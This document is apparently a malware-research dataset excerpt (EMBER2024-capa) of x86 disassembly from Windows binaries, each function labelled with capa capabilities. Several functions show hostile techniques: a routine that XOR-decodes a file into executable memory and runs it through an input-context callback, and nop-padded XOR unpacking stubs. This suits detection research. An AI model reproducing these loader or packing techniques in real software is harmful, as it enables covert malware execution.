joyce8/EMBER2024-capa huggingface dataset:
Function at 0x5e06f0
Capabilities:
Write file on windows

Disassembly:
mov eax, dword [esp + 0x10]
sub esp, 8
cmp eax, dword [esp + 0x14]
push esi
mov esi, ecx
jg 0x5e0790
push ebx
push ebp
push edi
lea edi, [esi + 0x14]
push edi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [esp + 0x1c]
mov ecx, dword [esi + 0x10]
mov ebp, dword [esp + 0x20]
push 0
lea eax, [esp + 0x18]
push eax
push ebx
push ecx
mov dword [esp + 0x20], ebx
mov dword [esp + 0x24], ebp
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [esp + 0x10], eax
cmp eax, 0xffffffff
jne 0x5e075c
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x5e075c
push edi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
pop ebp
or eax, 0xffffffff
pop ebx
or edx, eax
pop esi
add esp, 8
ret 0x14
mov eax, dword [esp + 0x28]
mov ecx, dword [esp + 0x2c]
push 0
lea edx, [esp + 0x28]
push edx
mov edx, dword [esi + 0x10]
push eax
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
test eax, eax
je 0x5e0747
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
mov edx, ebp
pop ebp
mov eax, ebx
pop ebx
pop esi
add esp, 8
ret 0x14
push eax
mov eax, dword [esp + 0x24]
push eax
call fcn.005e05c0
pop esi
add esp, 8
ret 0x14

Function at 0x5e07f0
Capabilities:
Read file on windows

Disassembly:
sub esp, 0xc
push esi
push edi
mov esi, ecx
lea edi, [esi + 0x30]
push edi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x20]
push 0
lea edx, [esp + 0x14]
push edx
push eax
mov dword [esp + 0x18], eax
mov eax, dword [esi + 0x2c]
push eax
mov dword [esp + 0x20], ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [esp + 0xc], eax
cmp eax, 0xffffffff
jne 0x5e0847
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x5e0847
push edi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
xor eax, eax
pop esi
add esp, 0xc
ret 0x10
mov edx, dword [esp + 0x24]
mov eax, dword [esp + 0x18]
push 0
lea ecx, [esp + 0xc]
push ecx
mov ecx, dword [esi + 0x2c]
push edx
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
test eax, eax
je 0x5e0837
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
mov eax, 1
pop esi
add esp, 0xc
ret 0x10
Function at 0x5e08b0
Capabilities:
Get file size

Disassembly:
push ebx
push ebp
push esi
push edi
mov esi, ecx
call fcn.005e07b0
mov ebp, dword [esp + 0x14]
mov ebx, dword [sym.imp.KERNEL32.dll_CreateFileW]
xor eax, eax
cmp byte [esp + 0x18], al
push 0
setne al
push 0
lea eax, [eax + eax + 2]
mov edi, eax
push edi
push 0
push 3
push 0xc0000000
push ebp
call ebx
mov dword [esi + 0x10], eax
cmp eax, 0xffffffff
jne 0x5e08fa
call dword [sym.imp.KERNEL32.dll_GetLastError]
pop edi
pop esi
pop ebp
pop ebx
ret 8
push 0
push 0
push edi
push 0
push 3
push 0xc0000000
push ebp
call ebx
mov dword [esi + 0x2c], eax
cmp eax, 0xffffffff
jne 0x5e092b
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
mov ecx, esi
call fcn.005e07b0
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
ret 8
cmp byte [esp + 0x18], 0
je 0x5e0981
mov edx, dword [esi + 0x10]
lea ecx, [esp + 0x18]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [esi + 8], eax
mov dword [esi + 0xc], 0
cmp eax, 0xffffffff
jne 0x5e0962
cmp dword [esi + 0xc], 0
jne 0x5e0962
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
test edi, edi
jne 0x5e091b
mov eax, dword [esp + 0x18]
push 1
push 0
push 0
push eax
call fcn.0061a480
add dword [esi + 8], eax
pop edi
adc dword [esi + 0xc], edx
pop esi
pop ebp
xor eax, eax
pop ebx
ret 8
xor eax, eax
pop edi
mov dword [esi + 8], eax
mov dword [esi + 0xc], eax
pop esi
pop ebp
pop ebx
ret 8
Function at 0x5eaeda
Capabilities:
Get graphical window text

Disassembly:
push 4
mov eax, 0x65d967
call fcn.0061e0c8
mov esi, ecx
cmp dword [esi + 0x50], 0
jne 0x5eaeff
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_GetWindowTextA]
jmp 0x5eaf45
lea ecx, [ebp - 0x10]
call fcn.00402500
mov ecx, dword [esi + 0x50]
mov eax, dword [ecx]
and dword [ebp - 4], 0
lea edx, [ebp - 0x10]
push edx
call dword [eax + 0x8c]
push 0xffffffffffffffff
push dword [ebp - 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.005e9c10
add esp, 0x10
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
mov esi, eax
call fcn.004011f0
mov eax, esi
call fcn.0061e1a0
ret 8

Function at 0x5ebc84
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
xor ebx, ebx
call fcn.005f21f6
mov esi, dword [eax + 0xc]
push 5
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x5ebcbd
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
mov ecx, dword [ebp - 4]
push esi
push dword [ebp + 0xc]
push ebx
call fcn.005eb8d5
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret 8

Function at 0x5ebd1b
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, ecx
mov dword [edi + 0x58], ebx
test ebx, 0xffff0000
jne 0x5ebd3f
cmp dword [edi + 0x54], 0
jne 0x5ebd3f
movzx eax, bx
mov dword [edi + 0x54], eax
call fcn.005f21f6
mov esi, dword [eax + 0xc]
push 5
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push dword [ebp + 0xc]
mov ebx, eax
push ebx
mov ecx, edi
call fcn.005ebcdc
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x5f1809
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov dword [ebp - 4], ecx
cmp dword [ebp + 8], ebx
je 0x5f1850
call fcn.005f21f6
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x5f1850
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
test ebx, ebx
je 0x5f186c
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
mov ecx, dword [ebp - 4]
push edi
call fcn.005f1383
mov esi, eax
test edi, edi
je 0x5f186a
test ebx, ebx
je 0x5f186a
push ebx
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x5f9f4d
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x160
mov eax, dword [0x74d890]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 0xc], 0x800
mov eax, dword [ebp + 8]
push esi
mov dword [ebp - 0x11c], eax
mov esi, ecx
lea eax, [ebp - 0x120]
jne 0x5f9feb
push 0x6f94a4
push 4
push eax
call fcn.0061fda2
push eax
call fcn.00401000
add esp, 0x10
push ebx
push edi
call fcn.0061afe4
mov edi, dword [eax]
call fcn.0061afe4
xor ebx, ebx
mov dword [eax], ebx
lea eax, [ebp - 0x120]
push eax
push dword [ebp - 0x11c]
lea eax, [ebp - 0x118]
push esi
push 0x111
mov esi, 0x112
push esi
push eax
call fcn.00618746
add esp, 0x18
mov dword [ebp - 0x11c], eax
call fcn.0061afe4
cmp dword [eax], ebx
je 0x5fa002
call fcn.0061afe4
push dword [eax]
call fcn.005ea068
pop ecx
jmp 0x5fa009
push 4
push eax
push 3
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
test eax, eax
jne 0x5f9f93
jmp 0x5fa090
call fcn.0061afe4
mov dword [eax], edi
cmp dword [ebp - 0x11c], 0xffffffff
je 0x5fa08c
cmp dword [ebp - 0x11c], esi
jae 0x5fa08c
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameA]
push 0x3c
mov esi, eax
lea eax, [ebp - 0x15c]
push ebx
push eax
mov dword [ebp - 0x160], 0x40
call fcn.00615eb0
add esp, 0xc
push str.KERNEL32
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
cmp eax, ebx
je 0x5fa07b
push str.FindActCtxSectionStringA
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, ebx
je 0x5fa07b
lea ecx, [ebp - 0x160]
push ecx
push esi
push 2
push ebx
push ebx
call eax
test eax, eax
je 0x5fa07b
push ebx
push ebx
push esi
jmp 0x5fa084
push ebx
push ebx
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
jmp 0x5fa08e
xor eax, eax
pop edi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.006157d3
leave
ret

Function at 0x5fb698
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], ebx
cmp dword [ebp + 0xc], ebx
je 0x5fb6e0
call fcn.005f21f6
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x5fb6e0
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 4], eax
test eax, eax
je 0x5fb723
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
mov esi, dword [ebp + 8]
mov dword [ebp + 0xc], 1
test ebx, ebx
je 0x5fb70c
push dword [ebp + 0x10]
mov eax, dword [edi]
push ebx
push esi
mov ecx, edi
call dword [eax + 0x20]
cmp dword [ebp - 4], 0
mov dword [ebp + 0xc], eax
je 0x5fb70c
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FreeResource]
cmp dword [esi + 0x4c], 0
je 0x5fb720
mov ecx, dword [esi + 0x4c]
push dword [ebp + 0x10]
mov eax, dword [ecx]
call dword [eax + 0xa0]
mov eax, dword [ebp + 0xc]
pop edi
pop esi
pop ebx
leave
ret 0xc
Function at 0x5fec19
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov dword [ebp - 4], ecx
call fcn.005f21f6
mov esi, dword [eax + 0xc]
push 0xf1
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
jne 0x5fec46
xor eax, eax
jmp 0x5fecec
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 8], eax
test eax, eax
je 0x5fec3f
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x5fec3f
movzx eax, word [esi + 6]
push ebx
push edi
xor ecx, ecx
push 4
pop edx
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.005e9a78
pop ecx
mov edi, eax
xor ecx, ecx
xor eax, eax
cmp cx, word [esi + 6]
jae 0x5fec9d
lea ecx, [esi + 8]
movzx edx, word [ecx]
mov dword [edi + eax*4], edx
movzx edx, word [esi + 6]
inc eax
inc ecx
inc ecx
cmp eax, edx
jl 0x5fec8c
movzx eax, word [esi + 6]
mov ecx, dword [ebp - 4]
push eax
push edi
call fcn.005fd99a
push edi
mov ebx, eax
call fcn.005e9ab2
pop ecx
test ebx, ebx
je 0x5fecdf
movzx ecx, word [esi + 4]
movzx eax, word [esi + 2]
push ecx
lea esi, [ecx + 7]
mov ecx, dword [ebp - 4]
push eax
lea edx, [eax + 7]
push esi
push edx
call fcn.005fe02e
push dword [ebp + 8]
mov ecx, dword [ebp - 4]
call fcn.005fe0e2
mov ebx, eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, ebx
pop ebx
pop esi
leave
ret 4

Function at 0x600406
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 8]
test byte [esi + 4], 1
push edi
mov ebx, ecx
je 0x60041e
mov edi, dword [esi + 0xc]
jmp 0x60045e
push 5
push dword [esi + 0xc]
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x600437
call fcn.005f2503
push edi
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
jne 0x60044c
call fcn.005f2503
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
test edi, edi
jne 0x60045e
call fcn.005f2503
call fcn.005f21f6
cmp dword [eax + 0x3c], 0
je 0x600473
push edi
mov ecx, ebx
call fcn.005ff28f
mov edi, eax
push dword [ebp + 0xc]
push edi
call fcn.0060032c
mov dword [ebp + 8], eax
mov eax, dword [ebx + 0x5c]
test eax, eax
je 0x600491
push eax
call dword [sym.imp.KERNEL32.dll_GlobalFree]
and dword [ebx + 0x5c], 0
mov eax, dword [ebp + 8]
test eax, eax
je 0x60049d
mov edi, eax
mov dword [ebx + 0x5c], eax
or dword [esi + 4], 1
mov dword [esi + 0xc], edi
pop edi
pop esi
pop ebx
pop ebp
ret 8
Function at 0x613e20
Capabilities:
Get common file path

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x74d890]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, 0x105
push esi
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
jne 0x613e55
xor eax, eax
jmp 0x613ea8
lea eax, [ebp - 0x210]
push eax
call fcn.0061e1ef
cmp word [ebp + eax*2 - 0x212], 0x5c
pop ecx
je 0x613e86
push 0x66e980
lea eax, [ebp - 0x210]
push esi
push eax
call fcn.006209bb
add esp, 0xc
test eax, eax
jne 0x613e51
push edi
lea eax, [ebp - 0x210]
push esi
push eax
call fcn.006209bb
add esp, 0xc
test eax, eax
jne 0x613e51
lea eax, [ebp - 0x210]
push eax
call fcn.00613d92
pop ecx
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.006157d3
leave
ret

Function at 0x6157d3
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x74d890]
jne 0x6157dd
repz ret
jmp fcn.00621f7c

Function at 0x62ff72
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.006218c0
and dword [ebp - 4], 0
cmp dword [0x75721c], 0
mov ebx, eax
jne 0x630023
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x6300d4
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x7019d0
push edi
call esi
test eax, eax
je 0x6300d4
push eax
call fcn.0062184e
mov dword [esp], 0x7019c0
push edi
mov dword [0x75721c], eax
call esi
push eax
call fcn.0062184e
mov dword [esp], 0x7019ac
push edi
mov dword [0x757220], eax
call esi
push eax
call fcn.0062184e
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x757224], eax
call esi
push eax
call fcn.0062184e
pop ecx
mov dword [0x75722c], eax
test eax, eax
je 0x630023
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0062184e
pop ecx
mov dword [0x757228], eax
mov eax, dword [0x757228]
cmp eax, ebx
je 0x63007b
cmp dword [0x75722c], ebx
je 0x63007b
push eax
call fcn.006218c9
push dword [0x75722c]
mov esi, eax
call fcn.006218c9
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x63007b
test edi, edi
je 0x63007b
call esi
test eax, eax
je 0x630072
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x630072
test byte [ebp - 0xc], 1
jne 0x63007b
or dword [ebp + 0x10], 0x200000
jmp 0x6300b4
mov eax, dword [0x757220]
cmp eax, ebx
je 0x6300b4
push eax
call fcn.006218c9
pop ecx
test eax, eax
je 0x6300b4
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x6300b4
mov eax, dword [0x757224]
cmp eax, ebx
je 0x6300b4
push eax
call fcn.006218c9
pop ecx
test eax, eax
je 0x6300b4
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x75721c]
call fcn.006218c9
pop ecx
test eax, eax
je 0x6300d4
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x6300d6
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10001ee0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100039b8
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x10006018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp dword [ebx + 0x44], 0
je 0x10002072
cmp byte [ebx + 0x49], 0
je 0x10002072
mov eax, dword [ebx]
mov edx, dword [eax + 0xc]
push 0xffffffffffffffff
mov ecx, ebx
call edx
cmp eax, 0xffffffff
je 0x10002066
lea esi, [ebp - 0x2c]
call fcn.10001d00
mov dword [ebp - 4], 0
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov edx, eax
cmp edi, 0x10
jae 0x10001f53
lea edx, [ebp - 0x2c]
mov eax, edx
lea ecx, [ebp - 0x30]
push ecx
mov ecx, dword [ebp - 0x1c]
add ecx, edx
push ecx
mov ecx, dword [ebx + 0x44]
push eax
lea eax, [ebx + 0x4c]
push eax
call dword [sym.imp.MSVCP100.dll_public:_int___thiscall_std::codecvt_char__char__int_::unshift_int___char___char___char___const]
sub eax, 0
je 0x10001f8b
dec eax
je 0x10001f8f
sub eax, 2
lea esi, [ebp - 0x2c]
je 0x1000206d
call fcn.100010e0
xor al, al
jmp 0x10002074
mov byte [ebx + 0x49], 0
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov edx, eax
cmp edi, 0x10
jae 0x10001f9f
lea edx, [ebp - 0x2c]
mov esi, dword [ebp - 0x30]
sub esi, edx
je 0x10001fcd
cmp edi, 0x10
jae 0x10001fae
lea eax, [ebp - 0x2c]
mov edx, dword [ebx + 0x54]
push edx
push esi
push 1
push eax
call dword [sym.imp.MSVCR100.dll_fwrite]
add esp, 0x10
cmp esi, eax
jne 0x1000205e
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
cmp byte [ebx + 0x49], 0
je 0x1000206a
test esi, esi
jne 0x10001f47
mov ecx, dword [ebp - 0x1c]
or edx, 0xffffffff
sub edx, ecx
cmp edx, 8
jbe 0x1000208f
lea esi, [ecx + 8]
cmp esi, 0xfffffffe
ja 0x1000208f
cmp edi, esi
jae 0x10002047
push ecx
push esi
lea eax, [ebp - 0x2c]
push eax
call fcn.10002350
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
test esi, esi
je 0x10001f47
mov ecx, eax
cmp edi, 0x10
jae 0x10002023
lea ecx, [ebp - 0x2c]
mov edx, dword [ebp - 0x1c]
xor eax, eax
mov dword [ecx + edx], eax
mov dword [ecx + edx + 4], eax
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x1c], esi
jae 0x1000203e
lea eax, [ebp - 0x2c]
mov byte [eax + esi], 0
jmp 0x10001f41
test esi, esi
jne 0x10002019
mov dword [ebp - 0x1c], esi
cmp edi, 0x10
jae 0x10002056
lea eax, [ebp - 0x2c]
mov byte [eax], 0
jmp 0x10001f41
lea esi, [ebp - 0x2c]
call fcn.100010e0
xor al, al
jmp 0x10002074
lea esi, [ebp - 0x2c]
call fcn.100010e0
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10002920
mov esp, ebp
pop ebp
ret
push str.string_too_long
call dword [sym.imp.MSVCP100.dll_void___cdecl_std::_Xlength_error_char_const__]
int3

Function at 0x10002920
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10006018]
jne 0x1000292a
repz ret
jmp fcn.10002e37
Function at 0x10003500
Capabilities:
Encode data using xor
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0xf67c8
call fcn.10003820
mov eax, dword [0x10006018]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
push 0
push 0x80
push 3
push 0
push 0
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 0
lea ecx, [ebp - 0xf67c8]
push ecx
push eax
lea edx, [ebp - 0xf67c4]
push edx
push esi
mov dword [ebp - 0xf67c8], 0
call dword [sym.imp.KERNEL32.dll_ReadFile]
xor eax, eax
jmp 0x10003570
xor byte [ebp + eax - 0xf67c4], 0xc6
inc eax
cmp eax, 0xf67c0
jne 0x10003570
push 0x40
push 0x3000
push eax
push 0
call dword [0x10006534]
mov esi, eax
push 0xf67c0
lea eax, [ebp - 0xf67c4]
push eax
push esi
call dword [sym.imp.MSVCR100.dll_memmove]
add esp, 0xc
push 0
push esi
push 0
call dword [sym.imp.IMM32.dll_ImmEnumInputContext]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.10002920
mov esp, ebp
pop ebp
ret

Function at 0x10003740
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x10006018]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, 0x17
lea esi, [ebp - 0x20]
mov dword [ebp - 0xc], 0xf
mov dword [ebp - 0x10], 0
mov byte [ebp - 0x20], 0
call fcn.10002180
mov eax, dword [ebp - 0x20]
mov esi, 0x10
cmp dword [ebp - 0xc], esi
jae 0x10003782
lea eax, [ebp - 0x20]
push 0x10004244
push eax
call dword [sym.imp.MSVCR100.dll_fopen]
add esp, 8
test eax, eax
je 0x100037a3
push eax
call dword [sym.imp.MSVCR100.dll_fclose]
add esp, 4
mov bl, 1
jmp 0x100037a5
xor bl, bl
cmp dword [ebp - 0xc], esi
jb 0x100037b7
mov eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
pop edi
pop esi
test bl, bl
pop ebx
je 0x100037e4
push str.C:Program_FilesFonsd_version.xml
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str.C:Program_FilesFonsdkdsd.dat
call fcn.10003500
add esp, 4
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10002920
mov esp, ebp
pop ebp
ret
call fcn.100035d0
push str.C:Program_FilesFonsd_version.xml
call fcn.10003500
push str.C:Program_FilesFonsdkdsd.dat
call fcn.10003500
mov ecx, dword [ebp - 4]
xor ecx, ebp
add esp, 8
call fcn.10002920
mov esp, ebp
pop ebp
ret
Function at 0x430001
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..pdata
nop
nop
nop
nop
nop
push 4
nop
nop
pop edi
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x430072
nop
mov ebx, 0x408f6c
nop
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x76391dc8
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x430060
nop
nop
nop
nop
mov eax, section..pdata_1
nop
cmp eax, 0
nop
nop
nop
nop
je 0x4300d2
nop
nop
nop
mov ebx, 0x42e3d0
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x479c0049
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
nop
loop 0x4300c0
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x405590
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket

Disassembly:
sub esp, 0x10
push esi
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4055ae
or eax, eax
pop esi
add esp, 0x10
ret
mov ecx, dword [esp + 0x1c]
mov eax, dword [esp + 0x18]
push ecx
mov dword [esp + 0xc], eax
mov word [esp + 8], 2
call dword [sym.imp.WS2_32.dll_htons]
lea edx, [esp + 4]
push 0x10
push edx
push esi
mov word [esp + 0x12], ax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x4055ef
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
or eax, 0xffffffff
pop esi
add esp, 0x10
ret
mov eax, esi
pop esi
add esp, 0x10
ret

Function at 0x431005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
call 0x43100c
pop eax
nop
nop
nop
nop
nop
add eax, 0x403e6a
nop
sub eax, 0x403e10
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
jl 0x431030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
jne 0x43101e
nop
nop
popal
nop
nop
nop
jmp loc.00401219